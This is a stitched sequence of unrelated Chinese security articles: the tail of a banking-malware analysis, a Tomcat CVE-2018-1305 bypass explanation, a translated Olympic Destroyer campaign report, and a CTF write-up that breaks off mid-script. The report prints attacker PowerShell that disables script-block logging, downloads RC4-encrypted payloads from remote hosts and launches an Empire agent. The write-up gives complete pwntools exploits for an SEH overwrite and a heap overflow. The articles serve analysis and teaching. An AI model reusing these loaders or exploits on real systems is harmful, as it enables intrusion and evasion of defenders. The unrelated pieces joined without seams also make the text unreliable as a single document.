。由于受害者的帐户大多来自于巴西，为了避免非巴西国家进行分析（主要是自动），该代码段还验证了客户IP是否来自巴西的AS，代码实现如下图所示：
图10：验证客户IP地址是否在巴西
此检查通过ip-api.com上的API接口函数进行，该API接口在客户连接到Internet时返回Internet服务提供商提供的公网IP地址。如果countryCode被验证为“BR”，则代码片段成功通过第三个条件的检测（即isBR()），然后执行恶意代码片段。
**阶段3：与C＆C进行通信并执行有效载荷。**
****
如果受害者的计算机满足所有的条件，那么恶意软件开始和C＆C服务器建立通信连接。
图11：JS代码片段的主要执行部分
通过上图我们可以看到，在第497行上调用的dlToText_s()函数接收两个参数：C＆C
服务器的URL（在downAndExec中被解析为<parameter_1>）；另一个参数是一个字符串（在downAndExec被解析为<parameter_2>）。dlToText_s()函数的的第一个参数（即“<parameter_1>/？t”）表示应该从哪个C＆C上去下载恶意软件的有效载荷，而第二个参数“x-id
”字段（值为 <parameter_2 >）用于下载恶意软件的其他有效载荷，具体实现如下图所示：
图12：用于下载C＆C有效载荷的功能实现
在分析的过程中，我们发现t文件只包含“3”这个值。正如我们可以在downAndExec()中看到的那样，恶意软件可能使用不同的t值来表示不同的操作行为。
图13：t文件的内容
下面我们总结了恶意软件中t值（用K来表示t的取值）可能代表的不同操作行为：
1\. K =“1”：代码片段退出执行阶段，不执行恶意操作。
2\. K =“3”：代码片段下载三个文件，其中一个只是一个字符串（以DLL命名），另外两个都是PE文件。runAsUser（）函数会在执行的过程中被调用。
3\. K =“4”：与K=“3”类似，但只下载了两个PE文件，并且调用runAsRundll()函数而不是runAsUser()。
当K=“4”的时候，PE文件无法下载，我们目前还不清楚在这种情况下会发生什么，对于K=“3”，下载的文件如下所示：
**总结**
****
对有效载荷的分析工作仍在紧锣密鼓的进行中，在分析中我们发现恶意软件会使用DLL预加载技术（DLL预加载攻击）来将恶意PE程序注入到内存中。正如我们上述已经分析的那样，downAndExec技术涉及两个下载阶段以及几个自我保护措施，其中包括识别符合所需配置文件的机器，将片段中无恶意操作的代码分发到各个受害者机器上，尽管这些无恶意操作代码本身不执行（只是为了绕过在线检测），但是当与其他恶意代码一起存在于受害者的机器上时，它们便能够损害受害者的机器。
目前，还有一些与downAndExec有关的问题需要我们进一步研究的分析：
1\. 为什么要使用内容分发网络托管JS代码片段？
2\. JS代码片段中并没有使用runAsAdmin()函数，该代码片段是否被用作其他类型的巴西网络犯罪或恶意软件的共享模块？
3\. 当K=“4”时恶意软件是如何执行的？
我们将会对上述问题进行持续的研究和分析，并将研究结果发布到我们的博客上，请不要忘记阅读我们的博客，以了解巴西网络犯罪分子使用的其他网络攻击手法。
**IoC** | 社区文章 |
# Tomcat CVE-2018-1305 分析
##### 译文声明
本文是翻译文章，文章原作者 n1nty
原文地址：<https://mp.weixin.qq.com/s/PZsOQy2lpR1lHqLWmAXlbg>
译文仅供参考，具体内容表达以及含义原文为准。
近日，Apache Tomcat爆出两个安全绕过漏洞 ，Apache Tomcat
7、8、9多个版本受到影响。攻击者可以利用这个问题，绕过某些安全限制来执行未经授权的操作。本篇文章只对CVE-2018-1305进行简要分析。
## 两个 CVE
1. CVE-2018-1305
2. CVE-2018-1304
从造成的影响方面来讲，都是鸡肋。从原理上讲有点像，基本可以认为是同一个。从分析角度来讲，这两个都比较简单。
这里只对 CVE-2018-1305 进行简要分析。
## 背景知识
Java EE 提供了类似 ACL 权限检查的注解，可以直接用于修饰 Java Servlet，用于对 Servlet 进行 ACL 保护。
## 简要分析
现假设有两个 Servlet：
1. Servlet1，访问路径为 /servlet1/*
2. Servlet2，访问路径为 /servlet1/servlet2/*
Servlet1 上有如下图的 Security Constraint（简单理解就是 ACL）：
Servlet2 上并没有 ACL。
然而因为 Servlet2 的访问 url 位于 Servlet1 的下一级（/servlet1/servlet2 是 /servlet1/ 的
“子目录”），所以 Tomcat 中正常的代码逻辑应该是，虽然 Servlet2 上面没有 ACL，但是 Servlet2 应该继承 Servlet1 的
ACL。
正常情况应该是：
1. 先访问 /servlet1，返回 403，因为请求被 ACL 拦截了
2. 再访问 /servlet1/servlet2，返回 403，因为请求被 ACL 拦截
**那么实际的问题在哪里？**
Tomcat 在接收到 Servlet 访问请求后，在实例化 Servlet 对象之前，会先扫描被访问的 Servlet 上注册的 ACL。如果存在
ACL，则将 ACL 规则添加到一个 Context 唯一的列表中。随后再检查当前访问的 Servlet 是否被 ACL 保护。
ACL 扫描 org.apache.catalina.authenticator.AuthenticatorBase#invoke：
ACL 检查 org.apache.catalina.authenticator.AuthenticatorBase#invoke：
问题出在，如果在 Servlet1 （/servlet1）被访问之前，有人先访问了 Servlet2（/servlet1/servlet2）。流程如下：
1. Tomcat 接收到 Servlet2 的访问请求
2. Tomcat 扫描 Servlet2 上注册的 ACL，发现 Servlet2 上没有注册 ACL
3. Tomcat 检查 Servlet2 是否被 ACL 保护。这一步，因为 Servlet2 在 Servlet1 之前被访问，所以导致 Servlet1 上注册的 ACL 规则还没有被 Tomcat 发现。所以，原本应该被 Servlet1 的 ACL 规则保护的 Servlet2，就处在了未受保护的状态。
## 实例
1. 访问 http://localhost:8080/CVE-2018-1305/servlet1/servlet2，此时 servlet1 的 ACL 没被 Tomcat 加载，所以访问成功
2. 访问 http://localhost:8080/CVE-2018-1305/servlet1，被拒绝访问了，此时 Tomcat 加载了 servlet1 的 ACL
3. 再访问 http://localhost:8080/CVE-2018-1305/servlet1/servlet2，被拒绝访问了，因为 Tomcat 已经加载了 servlet1 的 ACL
## Tomcat 的修复
Tomcat 的修复了 ACL 注册的方式。以前是采用，在 Servlet 真正被访问之前才去注册此 Servlet 上的 ACL。现在改成了，在
Context 启动的时候，就去扫描该 Context下所有的 Servlet 上注册的 ACL，并添加到 acl 列表中。
在任何一个 Context 启动时，Tomcat 都会自动调用：
org.apache.catalina.startup.WebAnnotationSet#loadApplicationServletAnnotations
而其中，添加了如下 ACL 相关代码：
## 影响范围
只有当你使用的 Tomcat 处于受影响的 Tomcat 版本，而且你的应用依赖于 Java EE Constraints 来进行 ACL
保护的时候，才受影响。 | 社区文章 |
# 重出江湖：对Olympic Destroyer最新变种的分析
##### 译文声明
本文是翻译文章
原文地址：<https://securelist.com/olympic-destroyer-is-still-alive/86169/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
2018年3月，我们发表了关于Olympic
Destroyer的相关[研究结果](https://securelist.com/olympicdestroyer-is-here-to-trick-the-industry/84295/)，这个攻击组织的目标是2018年韩国平昌冬奥会的主办方、供应商以及合作伙伴。Olympic
Destroyer是借助破坏型网络蠕虫传播的网络破坏攻击威胁。在大肆破坏之前，攻击者会先渗透目标网络进行侦察，选择最合适的跳板，实现恶意软件的自我复制以及自我修改。
前面我们强调过一点，Olympic
Destroyer与其他攻击活动有所不同，整个攻击活动充斥着各种欺骗操作。尽管如此，攻击者仍然犯下了严重的失误，这也让我们发现并证实攻击者伪造各种痕迹以误导研究人员对其的追踪溯源。Olympic
Destroyer背后的攻击者伪造了自动生成的特征数据（即Rich Header），诱导人们认为恶意软件为Lazarus
APT组织的产物（拉撒路组织，与朝鲜有关的一个APT组织）。如果大家对之前背景不甚了解，可以看一下这篇[文章](https://securelist.com/the-devils-in-the-rich-header/84348/)，其中专门分析了攻击者的信息伪造手段。
Olympic
Destroyer使用了各种欺骗行为以及各种虚假特征，成功误导了信息安全行业的许多研究人员，也引起了我们的关注。根据恶意软件的相似性，其他研究人员将Olympic
Destroyer恶意软件与三个中国的APT组织以及朝鲜的Lazarus
APT组织关联在一起；恶意软件的某些代码包含EternalRomance漏洞利用特征，而其他代码则与Netya（[Expetr/NotPetya](https://securelist.com/schroedingers-petya/78870/) ）以及[BadRabbit](https://securelist.com/bad-rabbit-ransomware/82851/)勒索软件相关。卡巴斯基实验室成功找到了横向渗透工具以及最初感染的后门，并且跟踪到了与韩国受害者有关的Olympic
Destroyer的基础设施。
Olympic Destroyer所使用的某些TTPs以及安全特性与[Sofacy
APT组织](https://securelist.com/a-slice-of-2017-sofacy-activity/83930/)的攻击活动有一定的相似性。在虚假特征方面，伪造TTPs远比技术上篡改特征要困难得多。这意味着攻击者在行为模仿以及新TTPs适应方面有极其深刻的理解。然而，我们需要记住一点，Olympic
Destroyer是使用虚假特征的大师，因此对于这种关联性我们也没有十足的把握。
我们决定进一步跟踪这个组织，设置虚拟“网络”，在Olympic Destroyer再次使用类似武器时捕获相关样本。让我们惊讶的是，最近Olympic
Destroyer又开始了新的攻击活动。
2018年5月至6月期间，我们发现了新的鱼叉式钓鱼文档，这些文档与Olympic
Destroyer之前使用的武器化文档非常相似。根据这个线索以及其他TTPs，我们认为这个攻击组织又重现江湖。
然而，这次攻击者的目标有所不同。根据我们的感知数据以及对鱼叉式钓鱼文档特征的分析结果，我们认为Olympic
Destroyer现在针对的是俄罗斯境内的金融机构以及欧洲、乌克兰境内的生物及化学威胁预防实验室。攻击者继续使用了非二进制的可执行感染方式以及经过混淆的脚本来躲避安全产品的检测机制。
图1. 简化版的感染过程
## 二、感染过程分析
感染过程实际上比图1复杂，用到了各种不同的技术，将VBA代码、Powershell、MS
HTA以及JScript混淆使用。我们可以仔细分析一下，以便事件响应人员以及安全研究人员能够随时识别此类攻击行为。
我们最近捕获的某个文档包含如下属性：
MD5: 0e7b32d23fbd6d62a593c234bafa2311
SHA1: ff59cb2b4a198d1e6438e020bb11602bd7d2510d
File类型: Microsoft Office Word
上一次保存日期: 2018-05-14 15:32:17 (GMT)
已知文件名: Spiez CONVERGENCE.doc
内嵌的宏经过高度混淆处理，包含随机生成的变量以及函数名。
图2. 经过混淆的VBA宏
其功能是执行Powershell命令。这段VBA代码的混淆技术与原始的Olympic Destoryer所使用的鱼叉式钓鱼攻击技术相同。
样本通过命令行启动了一个新的经过混淆的Powershell
scriptlet。混淆器使用了基于数组重排的技术来修改原始代码，并且对命令及控制（C2）服务器地址等所有命令及字符串做了保护处理。
有一款工具可以得到类似的效果：Invoke-Obfuscation 。
图3. 经过混淆处理的Powershell scriptlet
这个脚本禁用了Powershell脚本日志功能以避免留下痕迹：
IF(${GPc}[ScriptBlockLogging])
{
${Gpc}[ScriptBlockLogging][EnableScriptBlockLogging]=0;
${gpc}[ScriptBlockLogging][EnableScriptBlockInvocationLogging]=0
}
脚本中内置了Powershell中RC4算法的具体实现，用来解密从微软OneDrive上下载的其他载荷。解密过程需要用到一个硬编码的32字节ASCII十六进制密钥。这一点与之前Olympic
Destroyer鱼叉式钓鱼文档所使用的技术相似，也与在Olympic Destroyer的基础设施中发现的Powershell后门相似。
${k}= ( .VARiabLE Bqvm ).vAlUE::“aSCiI”.GETBYtes.Invoke(d209233c7d7d7acee5aa0e8b0889bb1e);
${R}={
${D},${K}=${aRGS};
${s}=0..255;0..255^|^&(‘%’){
${J}=(${j}+${S}[${_}]+${K}[${_}%${k}.“coUNt”])%256;
${S}[${_}],${S}[${j}]=${S}[${J}],${S}[${_}]
};
${d}^|^&(‘%’){
${i}=(${i}+1)%256;
${h}=(${h}+${s}[${I}])%256;
${S}[${i}],${S}[${h}]=${s}[${h}],${s}[${I}];
${_}–Bxor${S}[(${S}[${I}]+${s}[${h}])%256]
}};
${daTa}=${wc}.DOWNloADDatA.Invoke(https://api.onedrive[.]com/v1.0/shares/s!ArI-XSG7nP5zbTpZANb3-dz_oU8/driveitem/content);
${IV}=${dATa}[0..3];
${dATa}=${dATA}[4..${dAta}.“LENgtH”];
–JoIn[CHar[]](^& ${r} ${daTa} (${iV}+${k}))
样本所下载的第二阶段载荷是一个HTA文件，该文件同样会执行一个Powershell脚本。
图4. 下载的access.log.txt文件
这个文件与鱼叉式钓鱼文档宏所执行的Powershell脚本采用相似的结构。经过去混淆处理后，我们可以看到这个脚本同样会禁用掉Powershell日志记录功能，然后从同一个服务器地址下载下一阶段载荷。该文件同样使用了带有预定义密钥的RC4算法：
${k}= ( Get-vaRiablE R4Imz -VAl )::”aSCIi”.GEtBytEs.Invoke(d209233c7d7d7acee5aa0e8b0889bb1e);
${r}={${D},${K}=${ARGs};
${s}=0..255;
0..255^|.(‘%’){${j}=(${j}+${S}[${_}]+${k}[${_}%${K}.”COUNT”])%256;
${S}[${_}],${s}[${J}]=${s}[${j}],${s}[${_}]};
${d}^|.(‘%’){${I}=(${I}+1)%256;
${h}=(${h}+${S}[${I}])%256;
${s}[${I}],${S}[${H}]=${s}[${h}],${s}[${i}];
${_}-BxOR${s}[(${s}[${i}]+${S}[${h}])%256]}};
${wC}.”HeaDErS”.Add.Invoke(Cookie,session=B43mgpQ4No69GDp3PmklQpTZB5Q=);
${SeR}=https://mysent[.]org:443;
${t}=/modules/admin.php;
${dATA}=${wc}.DOWNLOAdDaTA.Invoke(${SeR}+${t});
${iV}=${DATA}[0..3];
${DATA}=${dATA}[4..${dAta}.”LeNGTh”];
-JoiN[ChAR[]](^& ${R} ${daTa} (${IV}+${k}))
最后一个载荷为Powershell Empire agent。如下部分代码中，样本通过http stager scriptlet来下载Empire
agent。
$wc.HeAders.Add(“User-Agent”,$UA);
$raw = $wc.UploadData($s + “/modules/admin.php”,”POST”,$rc4p2);
Invoke-Expression $($e.GetSTRiNG($(DecrYPT-BYtEs -KeY $kEy -In $raW)));
$AES = $NuLl;
…
[GC]::COLLEcT();
Invoke-Empire -Servers @(($s -split “/”)[0..2] -join “/”) -StagingKey $SK -SessionKey $key -SessionID $ID -WorkingHours “WORKING_HOURS_REPLACE” -KillDate “REPLACE_KILLDATE” -ProxySettings $Script:Proxy; }
Powershell
Empire是使用Python以及Powershell编写的后渗透开源框架，可以以无文件方式来控制被突破的主机，采用模块化体系结构，使用了加密通信方式。渗透测试公司在横向渗透以及信息收集等合法安全测试工作中广泛用到了这个框架。
## 三、基础设施
我们认为攻击者使用了被攻破的合法web服务器来托管并控制恶意软件。根据分析结果，我们发现的C2服务器所涉及到的URI路径包含以下特征：
/components/com_tags/views
/components/com_tags/views/admin
/components/com_tags/controllers
/components/com_finder/helpers
/components/com_finder/views/
/components/com_j2xml/
/components/com_contact/controllers/
这些路径为非常流行的开源内容管理系统（CMS）Joomla所使用的目录结构：
图5. Github上的Joomla组件路径
不幸的是，我们并不知道攻击者具体利用了Joomla CMS中的哪个漏洞。我们所知的是托管载荷的某个服务器所使用的是Joomla
v1.7.3版，这个版本相当老，发布于2011年11月份。
图6. 被攻破的服务器使用了Joomla
## 四、受害者及目标
根据多个目标情况以及有限的几份受害者报告，我们认为Olympic
Destroyer最近的攻击目标为俄罗斯、乌克兰以及其他几个欧洲国家。根据我们的感知数据，有一些受害者来自于俄罗斯的金融部门。此外，我们发现的所有样本几乎都上传到了欧洲国家的多平台扫描服务（如荷兰、德国、法国、乌克兰以及俄罗斯）。
图7. Olympic Destroyer近期攻击活动的目标位置
我们毕竟无法观测到所有数据，因此我们只能根据已知的钓鱼文档的内容、电子邮件的主题或者攻击者精心挑选的文件名等配置信息来推测攻击者的潜在目标。
有个钓鱼文档引起了我们的注意，这个文档提到了“Spiez Convergence ”，这是在瑞士举办的一个生物化学威胁研究会议，由[SPIEZ
LABORATORY](https://www.labor-spiez.ch/en/lab/)组织，而后者不久前刚参与了索尔兹伯里袭击事件的[调查](https://www.theguardian.com/uk-news/2018/apr/15/salisbury-attack-russia-claims-chemical-weapons-watchdog-manipulated-findings)。
图8. 采用Spiez Convergence话题的钓鱼文档
我们在攻击活动中观察到的另一个钓鱼文档（“Investigation_file.doc ”）提到了索尔兹伯里事件中用来毒害Sergey
Skripal和他女儿的神经毒剂：
图9. 另一份钓鱼文档
其他一些渔叉式钓鱼文档的文件名中还包含俄文以及德文文字：
9bc365a16c63f25dfddcbe11da042974 Korporativ.doc
da93e6651c5ba3e3e96f4ae2dd763d94 Korporativ_2018.doc
e2e102291d259f054625cc85318b7ef5 E-Mail-Adressliste_2018.doc
其中一个文档还包含一张诱骗图片，图片中的俄文非常准确。
图10. 诱导用户启用宏的俄文描述（54b06b05b6b92a8f2ff02fdf47baad0e）
最新的一份武器化文档来自于乌克兰，被上传到了一个恶意软件扫描服务商，名为“nakaz.zip”，其中包含一个“nakaz.doc”文档（乌克兰语翻译过来就是“order.doc”）。
图11. 诱导用户启用宏的另一段描述文字
根据文档元数据信息，该文档的编辑时间为6月14日。该文档以及上一个文档中包含的西里尔文都是非常准确的俄文，表明文档可能在相关母语人士的帮助下编写，而不是借助于翻译软件。
一旦用户启用宏，样本就会向用户展示一个欺诈文件，该文件来自于乌克兰政府机构，时间非常新（文档中的日期为2018年6月11日）。文档的内容与乌克兰卫生部[官网](http://moz.gov.ua/article/ministry-mandates/nakaz-moz-ukraini-vid-11062018--1103-pro-vnesennja-zmin-do-rozpodilu-likarskih-zasobiv-dlja-hvorih-u-do--ta-pisljaoperacijnij-period-z-transplantacii-zakuplenih-za-koshti-derzhavnogo-bjudzhetu-ukraini-na-2016-rik)上的内容相同。
图12. nakaz.doc中的欺诈文字
进一步分析其他相关文件后，我们发现该文档的目标为从事生物及流行病威胁预防领域的相关目标。
## 五、追踪溯源
虽然我们的分析并不全面，但还是发现了一些线索，可以将此次攻击活动与之前的Olympic
Destroyer攻击活动更好地关联在一起。卡巴斯基态势报告服务的订阅客户可以了解与Olympic Destroyer攻击活动有关的更多信息（如下图所示）。
图13. 与Olympic Destroyer采用相似的经过混淆处理的宏结构
如上图所示，该样本与Olympic
Destroyer相关样本看起来结构上非常相似，似乎采用同一个工具以及混淆器来生成攻击载荷。在新一波攻击活动中，上图高亮标注的函数名实际并不新颖，虽然这个名字（“MultiPage1_Layout
”）并不常见，但我们可以在Olympic Destroyer的钓鱼文档（MD5:
5ba7ec869c7157efc1e52f5157705867）中找到这个名称。
图14. 之前攻击活动中同样用到了MultiPage1_Layout这个函数名
## 六、总结
尽管之前有人认为Olympic
Destroyer的活跃程度应该会保持在较低水平，甚至有可能不再活跃，但现在我们又可以在针对欧洲、俄罗斯和乌克兰的新一波攻击活动中看到它的身影。在2017年底，紧跟在类似侦察行为后的是对大型网络的破坏活动，意图破坏和致瘫冬奥会的基础设施以及相关供应链、合作伙伴甚至是会场场地。目前我们可能已经观察到了这个侦察阶段，接下来可能伴随着带有新动机的一系列破坏攻击行为。因此欧洲的所有生物化学威胁预防以及研究攻击和组织都必须加强安全等级，不定期开展安全审计，这一点非常重要。
此次攻击活动中还牵扯到各种各样的金融以及非金融目标，这表明可能不同的利益团体使用了同一款恶意软件：比如某个团体主要通过网络窃取活动获取经济利益，而另一个团体希望通过目标间谍活动获取经济利益。这种行为可能是因为网络攻击任务外包所带来的结果，在国家级别的攻击活动中这种情况并不罕见。另一方面，针对金融目标的攻击行为很有可能是另一个虚假特征，攻击平昌冬奥会的攻击者很擅长故弄玄虚，用来误导研究人员的研究方向。
我们可以根据此次攻击活动的动机以及目标选择来得出一些结论，但如果在只有一些支离破碎线索的情况下，想找到谁是幕后黑手时研究人员很容易犯错误。今年年初出现的Olympic
Destroyer伴随着各种复杂的欺骗行为，大大改变了追踪溯源这个过程。我们认为，如果根据常规调查所得到的追踪溯源特征，我们不可能得到准确的结论。想要防御并阻止Olympic
Destroyer之类的威胁需要私营企业与各国政府的合作，不幸的是，现在全球地缘政治局势只会让互联网更加分化，给研究人员以及调查人员带来许多障碍。这种情况将导致APT攻击者继续渗透外国政府以及商业公司的私密网络。
作为研究人员，我们能尽力做的就是继续跟踪此类威胁。我们将继续监视Olympic Destroyer，公布该组织的最新活动。
## 七、IoC
**文件哈希值**
9bc365a16c63f25dfddcbe11da042974 Korporativ .doc
da93e6651c5ba3e3e96f4ae2dd763d94 Korporativ_2018.doc
6ccd8133f250d4babefbd66b898739b9 corporativ_2018.doc
abe771f280cdea6e7eaf19a26b1a9488 Scan-2018-03-13.doc.bin
b60da65b8d3627a89481efb23d59713a Corporativ_2018.doc
b94bdb63f0703d32c20f4b2e5500dbbe
bb5e8733a940fedfb1ef6b0e0ec3635c recommandation.doc
97ddc336d7d92b7db17d098ec2ee6092 recommandation.doc
1d0cf431e623b21aeae8f2b8414d2a73 Investigation_file.doc
0e7b32d23fbd6d62a593c234bafa2311 Spiez CONVERGENCE.doc
e2e102291d259f054625cc85318b7ef5 E-Mail-Adressliste_2018.doc
0c6ddc3a722b865cc2d1185e27cef9b8
54b06b05b6b92a8f2ff02fdf47baad0e
4247901eca6d87f5f3af7df8249ea825 nakaz.doc
**域名及IP地址**
79.142.76[.]40:80/news.php
79.142.76[.]40:8989/login/process.php
79.142.76[.]40:8989/admin/get.php
159.148.186[.]116:80/admin/get.php
159.148.186[.]116:80/login/process.php
159.148.186[.]116:80/news.php
ppgca.ufob.edu[.]br/components/com_finder/helpers/access.log
ppgca.ufob.edu[.]br/components/com_finder/views/default.php
narpaninew.linuxuatwebspiders[.]com/components/com_j2xml/error.log
narpaninew.linuxuatwebspiders[.]com/components/com_contact/controllers/main.php
mysent[.]org/access.log.txt
mysent[.]org/modules/admin.php
5.133.12[.]224:333/admin/get.php
审核人：yiwang 编辑：边边 | 社区文章 |
# kn0ck suctf19 writeup
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> kn0ck诚招大佬，联系邮箱[[email protected]](mailto:[email protected])
## pwn
### BabyStack
main函数的f5有点问题,所以直接看反汇编
.text:00408579 mov esp, [ebp+ms_exc.old_esp]
.text:0040857C call sub_4033C8 ;这个函数里面有getflag的代码段,先想想怎么进去
发现00408579地址是异常处理函数
而在text:00408542 loc_408542: ; CODE XREF: sub_4083E0:loc_40853C↑p
.text:00408542 pop eax
.text:00408543 mov esi, [ebp+var_2C]
.text:00408546 sub esi, eax
.text:00408548 div esi
.text:0040854A pop eax
.text:0040854B push offset aYouCanNotFindM ; "You can not find Me!n"
.text:00408550 call printf
有div指令,应该是除0异常触发,因为输入只能输入8字节,否则报错退出,
要求esi=0,就必须要求esi==eax,此时的eax刚好是前面一个call的返回值,也就是00408541,由于程序开启了aslr,所以就利用到了泄露出来的main函数地址了,需要动态根据前面的算法构造出输入的8字节.
407F60这个函数里面有任意地址读取,读取异常的话进行异常处理函数会直接退出.
当输入no的时候会判断2个初始值为1的局部变量的和是否==3,==才getflag,否则退出
现在是怎么改掉这2个值
sub_402C70((int)&v11, 256, (int)v1);这个函数可以让v11溢出,可以修改返回地址,但是不能修改掉2个局部变量,
可函数退出的地方都是exit,不是正常退出,好像也无法劫持eip
.text:00408224 loc_408224: ; DATA XREF: .rdata:stru_47ACC0↓o
.text:00408224 mov eax, 1
.text:00408229 retn
这里是个正常返回的地方,但是是在异常处理函数里面,前面有jmp直接跳过它,又不能直接运行到这里来,想想看能否触发异常来到这里.
触发异常来到这里后发现esp已经改掉了,还是无法劫持eip
换思路,可以直接通过修改seh中的函数指针,由于泄露了栈,所以可以保证seh链是完整的绕过sehop.覆盖第一个seh链为getflag函数,再触发异常
但是好像还有safeseh相关保护需要绕过…………
根据这篇文章<https://bbs.pediy.com/thread-221016.htm> 绕过safeseh
最后一个坑,浪费了好多时间,最后的scope_addr后面的0不能被破坏,不然直接退出,经过调试发现会有个换行符插进去了,补上他们就好了
from pwn import *
import string
t = remote('121.40.159.66', 6666)
#t = remote('1.1.8.1', 9999)
def calc_esi(ret_addr):
ret_addr = hex(ret_addr)[2:].zfill(8)
esi = ''
for i in ret_addr:
if i in '1234567890':
esi+=chr(ord(i)+3)
elif i in string.ascii_letters:
esi+=chr(ord(i)+55)
return esi
#通过第一阶段验证
print t.recvuntil('stack address = ')
stack_addr = t.recvline()[2:-2]
print stack_addr
stack_addr = int(stack_addr,16)
print t.recvuntil('main address = ')
main_addr = t.recvline()[2:-2]
print main_addr
main_addr_num = int(main_addr,16)
ret_addr = main_addr_num+0x4be3
esi = calc_esi(ret_addr)
print 'esi= ',esi
#esi = hex(ret_addr)[2:].zfill(8)
t.sendline(esi)
#泄露seh_next
print t.recvuntil('to know more?')
t.sendline('yes')
print t.recvuntil('do you want to know?')
seh_next_addr = stack_addr-(0x19ff10-0x19fee0)
print 'seh_next_addr: ',hex(seh_next_addr)
t.sendline(str(seh_next_addr))
print t.recvuntil('value is 0x')
seh_next = t.recvuntil('rn')[:-2]
print 'seh_next: ',seh_next
seh_next = int(seh_next,16)
#泄露seh_next后面的seh_handler
print t.recvuntil('to know more?rn')
t.sendline('yes')
print t.recvuntil('do you want to know?rn')
handler_addr = stack_addr-(0x19ff10-0x19fee4)
print 'handler: ',hex(handler_addr)
t.sendline(str(handler_addr))
print t.recvuntil('value is 0x')
handler = t.recvuntil('rn')[:-2]
print 'handler: ',handler
handler = int(handler,16)
#泄露栈上面的gscookie
print t.recvuntil('to know more?rn')
t.sendline('yes')
print t.recvuntil('do you want to know?rn')
cookie = stack_addr-(0x19ff10-0x19fed4)
print 'cookie addr: ',hex(cookie)
t.sendline(str(cookie))
print t.recvuntil('value is 0x')
cookie = t.recvuntil('rn')[:-2]
print 'cookie: ',cookie
cookie = int(cookie,16)
#泄露security cookie
print t.recvuntil('to know more?rn')
t.sendline('yes')
print t.recvuntil('do you want to know?rn')
sc = 0x47C004-0x40395e+ main_addr_num
print 'sc addr: ',hex(sc)
t.sendline(str(sc))
print t.recvuntil('value is ')
sc = t.recvuntil('rn')[2:-2]
print 'sc: ',sc
sc = int(sc,16)
#计算ebp
ebp = stack_addr-(0x19ff10-0x19fef0)
print 'ebp: ',hex(ebp)
#计算buf地址,计算scope指针
buf_addr = stack_addr-(0x19FF10-0x019FE44)
print 'buf_addr:', hex(buf_addr)
scope_addr = (buf_addr+4)^sc
print 'scope_addr: ',hex(scope_addr)
print t.recvuntil('to know more?rn')
t.sendline('1')
'''
payload
'''
getflag_addr = main_addr_num+0x0408266-0x40395E#计算getflag地址
payload = 'aaaa'
#把fake scope放在后4字节是因为之后会输入yes破坏前4字节
payload += 'xE4xFFxFFxFFx00x00x00x00x0CxFFxFFxFFx00x00x00x00xFExFFxFFxFF'+p32(getflag_addr)*2
#padding
payload +='x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x31x31x31x00x32x31x32x00x00x00x00x00x00x00x00x00'
payload +=p32(cookie)+'3'*8+p32(seh_next)+p32(handler)+p32(scope_addr)+p32(0)+p32(ebp)
print(len(payload))
t.sendline(payload)
print t.recvuntil('you want to know more?rn')
t.sendline('yes')
print t.recvuntil('n')
t.sendline('111')#再次触发异常,进入getflag代码
print t.interactive()
### 二手破电脑
此题先看两个函数，`malloc_usable_size` 和 `realloc`。
在linux下，使用 `man malloc_useable_size` 即可快速查看函数定义、用法等。
The malloc_usable_size() function returns the number of usable bytes in the block pointed to by ptr, a pointer
to a block of memory allocated by malloc(3) or a related function.
再看看源码，大概就是，32位系统下，如果堆块是inuse的，就返回堆块大小-4，否则返回堆块大小-8。
`realloc` 就有意思了，按照源码，是先 `malloc` ，然后 `memcpy` 再 `free`，实测该程序并不会进行 `malloc` 或者
`free`，因为大小没改变，但是对堆块的 `size` 进行了检查。
然后查找漏洞，漏洞不太明显，在 `perchase` 函数的 `scanf` 函数处，例如 `%8s`
这样的格式化字符串，实际会写入9个字节，因为有最后一个 `x00` 会被写进去。
解题思路：
* 利用 `unsorted bin` 泄露堆地址
* 伪造 `pre_inuse` ，利用一字节溢出，修改下一堆块的`inuse` 标志位
* 利用 `free` 的向前合并，造成堆块的 `overlap`
* 篡改某一结构体的 `name` 指针，使其指向一个伪造的堆块，堆块位置自身结构体之前，且大小符合条件
* 调用 `rename` 函数，`realloc` 后 `name` 指针通过检查，写入数据即可再次修改 `name` 指针至 `__free_hook` 处，接下来还有一次对 `name` 指针进行写的机会，写入 `system` 即可。
关于libc，吐槽一下主办方用的非主流libc：libc6-i386_2.23-0ubuntu10_amd64.so
另外有个serial需要解一下
for ( i = 0; i <= 6; ++i )
buf[i] = ((buf[i] | buf[i + 1]) & ~(buf[i] & buf[i + 1]) | i) & ~((buf[i] | buf[i + 1]) & ~(buf[i] & buf[i + 1]) & i)
//buf = "Qf(>qwd!"
用python反着解开
buf = '!'
final_buf = "Qf(>qwd!"
for _ in range(7):
cur = ord(buf[0])
i = 6 - _
for pre in range(256):
if ord(final_buf[i]) == ((pre | cur) & ~(pre & cur) | i) & ~((pre | cur) & ~(pre & cur) & i):
buf = chr(pre) + buf
continue
print buf
# e4SyD1C!
exp如下，具体的堆排列情况，我都是实时调的，大家可以参考一下我的文章[interactive-pwnning-tutorial](https://github.com/matrix1001/interactive-pwnning-tutorial)。
#https://github.com/matrix1001/welpwn
from PwnContext import *
if __name__ == '__main__':
context.terminal = ['tmux', 'splitw', '-h']
#context.log_level = 'debug'
# functions for quick script
s = lambda data :ctx.send(str(data)) #in case that data is an int
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :ctx.recv(numb)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
# misc functions
uu32 = lambda data :u32(data.ljust(4, ''))
uu64 = lambda data :u64(data.ljust(8, ''))
ctx.binary = './pwn'
ctx.remote = ('47.111.59.243', 10001)
#ctx.custom_lib_dir = './glibc-all-in-one/libs/2.23-0ubuntu10_i386/'
ctx.remote_libc = './libc6-i386_2.23-0ubuntu10_amd64.so'
ctx.debug_remote_libc = True
def perchase(name_len, name, price):
sla('>>>', 1)
sla('length', name_len)
sa('Name', name)
sla('Price', price)
